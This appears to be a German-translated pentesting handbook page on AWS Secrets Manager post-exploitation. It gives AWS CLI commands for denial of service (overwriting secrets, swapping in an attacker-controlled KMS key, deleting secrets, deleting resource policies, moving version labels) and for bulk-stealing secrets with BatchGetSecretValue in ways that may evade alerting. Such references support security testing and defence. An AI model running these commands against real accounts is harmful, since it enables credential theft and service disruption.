AWS - Secrets Manager Post Exploitation

Reading time: 6 minutes

Secrets Manager

Für weitere Informationen siehe:

AWS - Secrets Manager Enum

Read Secrets

Die secrets selbst sind sensible Informationen, check the privesc page, um zu lernen, wie man sie liest.

DoS Change Secret Value

Durch Ändern des secret-Werts könnten Sie ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret besitzt, kann er das secret so konfigurieren, dass es einen vom Angreifer kontrollierten KMS key verwendet. Dieser KMS key ist zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, weshalb das Aktualisieren des secret mit dem neuen KMS key möglich ist. Wäre der KMS key nicht zugänglich gewesen, hätte das secret nicht aktualisiert werden können.

Nachdem der Angreifer den KMS key für das secret geändert hat, verändert er die Konfiguration seines KMS key so, dass nur noch er darauf zugreifen kann. Dadurch werden spätere Versionen des secret mit dem neuen KMS key verschlüsselt; da kein Zugriff mehr besteht, geht die Möglichkeit verloren, das secret abzurufen.

Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur bei späteren Versionen auftritt, nachdem sich der Inhalt des secret geändert hat, da die aktuelle Version noch mit dem ursprünglichen KMS key verschlüsselt ist.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

Die Mindestanzahl an Tagen, um ein secret zu löschen, beträgt 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Es ist möglich, ein Secret wiederherzustellen. Dadurch können Secrets wiederhergestellt werden, die zur Löschung vorgesehen wurden, da die minimale Löschfrist für Secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue lässt sich so deren Inhalt abrufen.

Um ein Secret, das sich im Löschvorgang befindet, wiederherzustellen, können Sie folgenden Befehl verwenden:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Diese Aktion erlaubt das Löschen der resource policy, die steuert, wer auf ein secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die resource policy so konfiguriert war, dass sie Zugriff für eine bestimmte Gruppe von Benutzern erlaubt.

Um die resource policy zu löschen:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Die Zustände eines Secrets werden verwendet, um Versionen eines Secrets zu verwalten. AWSCURRENT markiert die aktive Version, die Anwendungen verwenden, AWSPREVIOUS behält die vorherige Version, sodass du bei Bedarf zurückrollen kannst, und AWSPENDING wird im Rotationsprozess verwendet, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen gemacht wird.

Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf die falsche Version verschiebt, verwenden die Anwendungen ungültige Anmeldeinformationen und können fehlschlagen.

AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin die vorherige Version laufen.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Missbrauche die Secrets Manager BatchGetSecretValue API, um bis zu 20 Secrets in einer einzigen Anfrage abzurufen. Dadurch kann die Anzahl der API-Aufrufe im Vergleich zum wiederholten Aufrufen von GetSecretValue für jedes Secret erheblich reduziert werden. Wenn Filter verwendet werden (tags/name), wird außerdem die Berechtigung ListSecrets benötigt. CloudTrail protokolliert weiterhin für jedes im Batch abgerufene Secret ein GetSecretValue-Ereignis.

Required permissions

• secretsmanager:BatchGetSecretValue
• secretsmanager:GetSecretValue für jedes Ziel-Secret
• secretsmanager:ListSecrets wenn --filters verwendet werden
• kms:Decrypt auf den CMKs, die von den Secrets verwendet werden (wenn nicht aws/secretsmanager)

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate mittels filters (tag key/value oder name prefix)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Umgang mit partiellen Ausfällen

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Auswirkungen

• Schnelles “smash-and-grab” vieler Secrets mit weniger API-Aufrufen, wodurch Alarmierungen, die auf Spitzen bei GetSecretValue ausgelegt sind, potenziell umgangen werden.
• In den CloudTrail-Logs erscheint weiterhin pro vom Batch abgerufenes Secret ein GetSecretValue-Ereignis.